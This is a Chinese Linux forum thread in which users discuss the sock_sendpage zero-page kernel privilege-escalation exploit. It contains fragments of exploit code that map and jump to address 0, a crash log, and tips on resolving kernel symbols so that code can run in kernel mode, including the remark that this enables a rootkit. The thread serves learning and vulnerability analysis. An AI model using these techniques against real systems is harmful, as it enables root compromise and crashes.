  20.                                 fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
  21.                                 return 1;
  22.                         }
  23.                 }
  24.         } else {
  25.                 int ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
  26.                 if (ret == -1) {
  27.                         fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
  28.                         return 1;
  29.                 }
  30.         }
  31.         printf("success\n");
  32.         *(char *)0 = '\x90';
  33.         *(char *)1 = '\xe9';
  34.         *(unsigned long *)2 = (unsigned long)&testfn - 6;
  35.         ((test *)0)();
  36.         return 0;
  37. }
复制代码

作者: vbs100    时间: 2009-08-28 16:45
大家测试要小心了 刚把公司一个8 cpu的服务嚣搞挂掉了

  1. $ uname -a
  2. Linux RD 2.6.9-78.ELsmp #1 SMP Wed Jul 9 15:39:47 EDT 2008 i686 i686 i386 GNU/Linux
  3. $ cat /proc/cpuinfo
  4. ...
  5. processor       : 7
  6. vendor_id       : GenuineIntel
  7. cpu family      : 6
  8. model           : 23
  9. model name      : Intel(R) Xeon(R) CPU           E5405  @ 2.00GHz
  10. stepping        : 10
  11. cpu MHz         : 2000.129
  12. cache size      : 6144 KB
  13. physical id     : 1
  14. siblings        : 4
  15. core id         : 7
  16. cpu cores       : 4
  17. fdiv_bug        : no
  18. hlt_bug         : no
  19. f00f_bug        : no
  20. coma_bug        : no
  21. fpu             : yes
  22. fpu_exception   : yes
  23. cpuid level     : 13
  24. wp              : yes
  25. flags           : fpu vme de pse tsc msr pae mce cx8 apic mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe lm constant_tsc pni monitor ds_cpl tm2 xtpr
  26. bogomips        : 4000.12
复制代码

Aug 28 14:50:19 RD kernel: CSLIP: code copyright 1989 Regents of the University of California
Aug 28 14:50:19 RD kernel: PPP generic driver version 2.4.2
Aug 28 14:50:19 RD kernel: NET: Registered protocol family 24
Aug 28 14:50:19 RD kernel: Unable to handle kernel paging request at virtual address 0000a206
Aug 28 14:50:19 RD kernel:  printing eip:
Aug 28 14:50:19 RD kernel: 08048803
Aug 28 14:50:19 RD kernel: *pde = 36847001
Aug 28 14:50:19 RD kernel: Oops: 0000 [#1]
Aug 28 14:50:19 RD kernel: SMP
Aug 28 14:50:19 RD kernel: Modules linked in: pppoe pppox ppp_generic slhc parport_pc lp parport autofs4 i2c_dev i2c_core sunrpc cpufreq_powersave ib_srp ib_sdp ib_ipoib rdma_ucm rdma_cm iw_cm ib_addr ib_umad ib_ucm ib_uverbs ib_cm ib_sa ib_mad ib_core dm_mirror dm_multipath dm_mod button battery ac md5 ipv6 joydev ehci_hcd uhci_hcd i5000_edac edac_mc hw_random bnx2 ext3 jbd ata_piix libata cciss sd_mod scsi_mod
Aug 28 14:50:19 RD kernel: CPU:    0
Aug 28 14:50:19 RD kernel: EIP:    0060:[<08048803>]    Not tainted VLI
Aug 28 14:50:19 RD kernel: EFLAGS: 00010293   (2.6.9-78.ELsmp)
Aug 28 14:50:19 RD kernel: EIP is at 0x8048803
Aug 28 14:50:19 RD kernel: eax: 0000a206   ebx: f8d084a0   ecx: 00000000   edx: c17e3f60
Aug 28 14:50:19 RD kernel: esi: d495ec80   edi: e9665f50   ebp: e9665e88   esp: e9665e74
Aug 28 14:50:19 RD kernel: ds: 007b   es: 007b   ss: 0068
Aug 28 14:50:19 RD kernel: Process exploit (pid: 4292, threadinfo=e9665000 task=d576c1f0)
Aug 28 14:50:19 RD kernel: Stack: 0000a206 0000a206 0000a206 00000000 f8d084a0 00001000 c028378a 00001000
Aug 28 14:50:19 RD kernel:        00000000 c035d420 00001000 c01420cb 00001000 f57fc0e4 00000000 c035d420
Aug 28 14:50:20 RD kernel:        00000000 c17e3f60 00000000 00000000 c0141a97 00001000 fffcfc50 00001000
Aug 28 14:50:20 RD kernel: Call Trace:
Aug 28 14:50:20 RD kernel:  [<c028378a>] sock_sendpage+0x37/0x3c
Aug 28 14:50:20 RD kernel:  [<c01420cb>] file_send_actor+0x30/0x49
Aug 28 14:50:20 RD kernel:  [<c0141a97>] do_generic_mapping_read+0x1b2/0x445
Aug 28 14:50:20 RD kernel:  [<c0174b9e>] notify_change+0x25e/0x268
Aug 28 14:50:20 RD kernel:  [<c0142128>] generic_file_sendfile+0x44/0x57
Aug 28 14:50:20 RD kernel:  [<c014209b>] file_send_actor+0x0/0x49
Aug 28 14:50:20 RD kernel:  [<c015d034>] do_sendfile+0x24a/0x290
Aug 28 14:50:20 RD kernel:  [<c014209b>] file_send_actor+0x0/0x49
Aug 28 14:50:20 RD kernel:  [<c015d122>] sys_sendfile+0xa8/0xb4
Aug 28 14:50:20 RD kernel:  [<c02e09db>] syscall_call+0x7/0xb
Aug 28 14:50:20 RD kernel: Code:  Bad EIP value.
Aug 28 14:50:20 RD kernel:  <0>Fatal exception: panic in 5 seconds
Aug 28 16:29:14 RD syslogd 1.4.1: restart.
Aug 28 16:29:14 RD syslog: syslogd startup succeeded

[ 本帖最后由 vbs100 于 2009-8-28 16:53 编辑 ]
作者: suntnt0218    时间: 2009-09-08 14:14
标题: 回复 #12 bobozhang 的帖子
为什么说eip在执行jmp时的值是6呢
作者: suntnt0218    时间: 2009-09-08 14:17
标题: 回复 #12 bobozhang 的帖子
谁能给我讲讲它是怎么跳转到地址0处执行指令的
作者: arlikiss    时间: 2009-09-17 17:05
标题: 再学习一次,谢谢
再学习一次谢谢!!!!
作者: kouu    时间: 2009-11-15 01:26
突然想到一个问题,mmap映射0地址能够映射成功吗?

在我的Ubuntu 9.04,Linux 2.6.28-12-generic上,mmap映射0地址是不能成功的。
至于exploit的代码在我的机器上能够成功执行,是因为exploit是由run.c编译的可执行文件来调用的。在run.c中,通过personality将可执行文件的执行域设置为SVR4。然后通过mprotect修改0地址的属性。

那么,SRV4上的进程内存是如何部局的呢?0地址上默认放的是什么东西呢?
而在32位linux上,地址空间一般使用的是08048000-c0000000。08048000以下的空间能够映射吗?要怎么映射?

望高人指点呀~
作者: kouu    时间: 2009-11-16 11:19
原帖由 kouu 于 2009-11-15 01:26 发表
突然想到一个问题,mmap映射0地址能够映射成功吗?

在我的Ubuntu 9.04,Linux 2.6.28-12-generic上,mmap映射0地址是不能成功的。
至于exploit的代码在我的机器上能够成功执行,是因为exploit是由run.c编译 ...


呵呵,在linux 2.6.29.4的代码中找到了以下一些内容:

personality.h

  1. enum {
  2.         ......
  3.         PER_SVR4 =                0x0001 | STICKY_TIMEOUTS | MMAP_PAGE_ZERO,
  4.         ......
  5. };
复制代码


binfmt_elf.c:load_elf_binary()

  1. ......
  2.         if (current->personality & MMAP_PAGE_ZERO) {
  3.                 /* Why this, you ask???  Well SVr4 maps page 0 as read-only,
  4.                    and some applications "depend" upon this behavior.
  5.                    Since we do not have the power to recompile these, we
  6.                    emulate the SVr4 behavior. Sigh. */
  7.                 down_write(&current->mm->mmap_sem);
  8.                 error = do_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC,
  9.                                 MAP_FIXED | MAP_PRIVATE, 0);
  10.                 up_write(&current->mm->mmap_sem);
  11.         }
  12. ......
复制代码

作者: Godbach    时间: 2010-01-12 11:07
呵呵,我还是觉得在kernel_code()函数中调用C库的函数是可以的~

本来打算验证一下的,上次做了一下实验,ubuntu直接就整个挂起了(屏幕定格、无任何响应),也不知道是什么问题。 感觉在PC上做这种事情实在太恶心…… 以前都是在嵌入式开发版上搞的,随便折腾。可惜现在没这个环境了……

也希望哪位朋友有兴趣的话验证一下,给个结论~ 呵呵


昨晚简单验证了一下,kernel_code中添加printf和memset函数,直接把内核的stack搞坏。我用的是虚拟机,系统直接被关掉了。
作者: Godbach    时间: 2010-01-12 15:38
哪位介绍一下这个漏洞和selinux有什么关系。因为从其中一个简单的测试里程上,看不出来和selinux有关系啊。
作者: W.Z.T    时间: 2010-01-15 10:56
原帖由 suntnt0218 于 2009-9-8 14:17 发表
谁能给我讲讲它是怎么跳转到地址0处执行指令的


当内核进行一个空指针引用的时候, 会引发一次缺页异常中断, do_page_fault函数会进行处理, 打印oops信息,然后杀死当前进程。 exploit程序在攻击之前已经通过匿名映射在内存0地址出映射好了exploit代码, 所以不会引发缺页异常。
作者: W.Z.T    时间: 2010-01-15 11:00


[ 本帖最后由 W.Z.T 于 2010-1-15 13:41 编辑 ]
作者: Godbach    时间: 2010-01-15 11:01
原帖由 W.Z.T 于 2010-1-15 10:56 发表


当内核进行一个空指针引用的时候, 会引发一次缺页异常中断, do_page_fault函数会进行处理, 打印oops信息,然后杀死当前进程。 exploit程序在攻击之前已经通过匿名映射在内存0地址出映射好了exploit代码, ...


请教W.Z.T兄,你认为跳转到0地址出执行的函数代码是属于用户空间的代码,还是内核空间的代码。
作者: BB_CULL    时间: 2010-01-15 11:11
提示: 作者被禁止或删除 内容自动屏蔽
作者: W.Z.T    时间: 2010-01-15 12:40
原帖由 Godbach 于 2010-1-15 11:01 发表


请教W.Z.T兄,你认为跳转到0地址出执行的函数代码是属于用户空间的代码,还是内核空间的代码。


我的理解是0地址上的代码是由用户自己通过mmap映射的, 当用户进程去触发这个kernel bug的时候, 是通过系统调用进入内核空间,内核通过进程上下文current代表进程继续执行, 当eip执行到了一个0x0地址时, 它开始执行用户空间映射过来的代码, 由于有进程上下文,又是在内核态, 所以可以修改当前进程的任何信息包括内核其他代码。 不知道这样理解对不对?

》昨晚简单验证了一下,kernel_code中添加printf和memset函数,直接把内核的stack搞坏。我用的是虚拟机,系统直接被关掉了。

我觉得内核是不能调用c库的, 你可以自己实现一个类似printk的函数放在kernel code中, 这样应该不会出错, 或者通过/proc/kallsyms先找到printk的地址, 然后再kernel中引用, 不知道这样可不可行, 我没试过, 兄弟可以验证下啊:)

[ 本帖最后由 W.Z.T 于 2010-1-15 12:46 编辑 ]
作者: W.Z.T    时间: 2010-01-15 12:51
原帖由 Godbach 于 2010-1-12 15:38 发表
哪位介绍一下这个漏洞和selinux有什么关系。因为从其中一个简单的测试里程上,看不出来和selinux有关系啊。


我记得有一些兄弟在开启selinux的情况下, 就能溢出成功, 关闭的情况下就不能溢出成功。 好像早期版本的selinux代码允许映射0的地址, 这样sys_mmap2即使不允许映射0地址, 但selinux确让它允许映射,  具体代码没有仔细看过。
作者: Godbach    时间: 2010-01-15 12:58
我的理解是0地址上的代码是由用户自己通过mmap映射的, 当用户进程去触发这个kernel bug的时候,是通过系统调用进入内核空间,内核通过进程上下文current代表进程继续执行, 当eip执行到了一个0x0地址时,它开始执行用户空间映射过来的代码, 由于有进程上下文,又是在内核态, 所以可以修改当前进程的任何信息包括内核其他代码。 不知道这样理解对不对?

恩,这个地方我理解的也是kernel_code应该算是内核态的代码,不能调用用户空间的库。

我觉得内核是不能调用c库的, 你可以自己实现一个类似printk的函数放在kernel code中, 这样应该不会出错,或者通过/proc/kallsyms先找到printk的地址, 然后再kernel中引用, 不知道这样可不可行, 我没试过,兄弟可以验证下啊:)

你的这个建议不错,将内核态的符号表导出来,然后将该地址转换成函数指针,进行调用。可以试一下。
作者: Godbach    时间: 2010-01-15 13:00
我记得有一些兄弟在开启selinux的情况下, 就能溢出成功, 关闭的情况下就不能溢出成功。 好像早期版本的selinux代码允许映射0的地址, 这样sys_mmap2即使不允许映射0地址, 但selinux确让它允许映射,  具体代码没有仔细看过。

这个地方和SElinux有一些关系,也就在于SElinux默认又开启了0地址可以被映射。

我测试了就没有安装SElinux模块的系统,也是可以侵入的。不过用的代码是另外一个例程。九贱兄分析的这个exp代码是个简化版的,有一定的局限性。
作者: Godbach    时间: 2010-01-15 13:48
试验了一把,通过/proc/kallsyms获取到printk的地址,然后就可以在kernel_code中调用了。打印的信息输出到日志里了
作者: W.Z.T    时间: 2010-01-15 14:42
原帖由 Godbach 于 2010-1-15 13:48 发表
试验了一把,通过/proc/kallsyms获取到printk的地址,然后就可以在kernel_code中调用了。打印的信息输出到日志里了


顶, Godbach兄动作果然快, 赞~
作者: Godbach    时间: 2010-01-15 15:12
原帖由 W.Z.T 于 2010-1-15 14:42 发表


顶, Godbach兄动作果然快, 赞~


应该多些W.Z.T兄的指点才对。

我用的是另外一个例程,exploit.c中添加
int (*printk)(const char *fmt, ...);

然后获得printk的地址
  1.         printk = (int (*)(const char *fmt, ...))get_kernel_sym("printk");
复制代码

然后就可以调用printk了。
作者: W.Z.T    时间: 2010-01-15 15:52
原帖由 Godbach 于 2010-1-15 15:12 发表


应该多些W.Z.T兄的指点才对。

我用的是另外一个例程,exploit.c中添加

然后获得printk的地址
        printk = (int (*)(const char *fmt, ...))get_kernel_sym("printk");
然后就可以调用printk了。


这样其实可以把exp + rootkit一气呵成的写了, 呵呵
作者: Godbach    时间: 2010-01-15 16:19
原帖由 W.Z.T 于 2010-1-15 15:52 发表


这样其实可以把exp + rootkit一气呵成的写了, 呵呵

基本上可以调用内核里面所有导出的接口了。刚试了一下kerne_power_off,直接就把系统关机了。
作者: li32768    时间: 2010-01-17 16:42
这个很强悍,很好很强大
作者: Godbach    时间: 2010-01-20 10:31
(这个 - 6是什么意思,大家指点一下)
在地址0x0处埋下代码kernel_code 函数,因为0x90 = nop, 0xe9 = jmp
上面代码可表示为在映射的地址0处,执行


查了一下手册。这里E9对应的jmp是相对跳转。也就是jmp 后面跟的操作数,应该是应跳转到的地址和当前下一条指令地址之间的差值。
当前jmp下一条指令的地址应该是6, 所以jmp后面的操作数应该是&kernel_code -6.
也就是*(unsigned long *)2 = &kernel_code -6

见intel的手册
E9 cw JMP rel16 A N.S. Valid
     Jump near, relative,displacement relative to next instruction. Not supported in 64-bit mode.
E9 cd JMP rel32 A Valid Valid
     Jump near, relative, RIP =RIP + 32-bit displacement sign extended to 64-bits

作者: W.Z.T    时间: 2010-01-20 13:54
原帖由 Godbach 于 2010-1-20 10:31 发表


查了一下手册。这里E9对应的jmp是相对跳转。也就是jmp 后面跟的操作数,应该是应跳转到的地址和当前下一条指令地址之间的差值。
当前jmp下一条指令的地址应该是6, 所以jmp后面的操作数应该是&kernel_code ...


nop, jmp各占一个字节, offset战4个字节,jmp后面的地址为便宜地址就是kernel_code的地址减去jmp之后下一条指令的地址, 下一条指令的地址就是1+1+4, 因为是从内存0开始算的。
作者: Godbach    时间: 2010-01-20 13:57
        mem[0] = '\xff';
        mem[1] = '\x25';
        *(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : 6;
        *(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel;


另外一个例程使用的是绝对跳转,FF 25 是代表的JMP,但是这里mem[2]里面存储的int型数值是做什么呢?
作者: gary721400    时间: 2010-01-21 14:20
学习了,佩服佩服!
作者: kwest    时间: 2010-01-26 23:48
强帖留名,很久没上CU了。最近google sendfile调用才看到此帖,呵呵,有空好好研究研究。
作者: Godbach    时间: 2010-01-27 10:29
标题: 回复 #85 kwest 的帖子
确实很久没见到kwest兄了
作者: z85525006    时间: 2010-07-23 19:09
原来就是这样发现 系统 漏洞的阿`! 要是写补丁的话,是不是重新写个模块就可以了,然后内核编译呢,

  似乎我有点点感觉了,




欢迎光临 Chinaunix (http://bbs.chinaunix.net/) Powered by Discuz! X3.2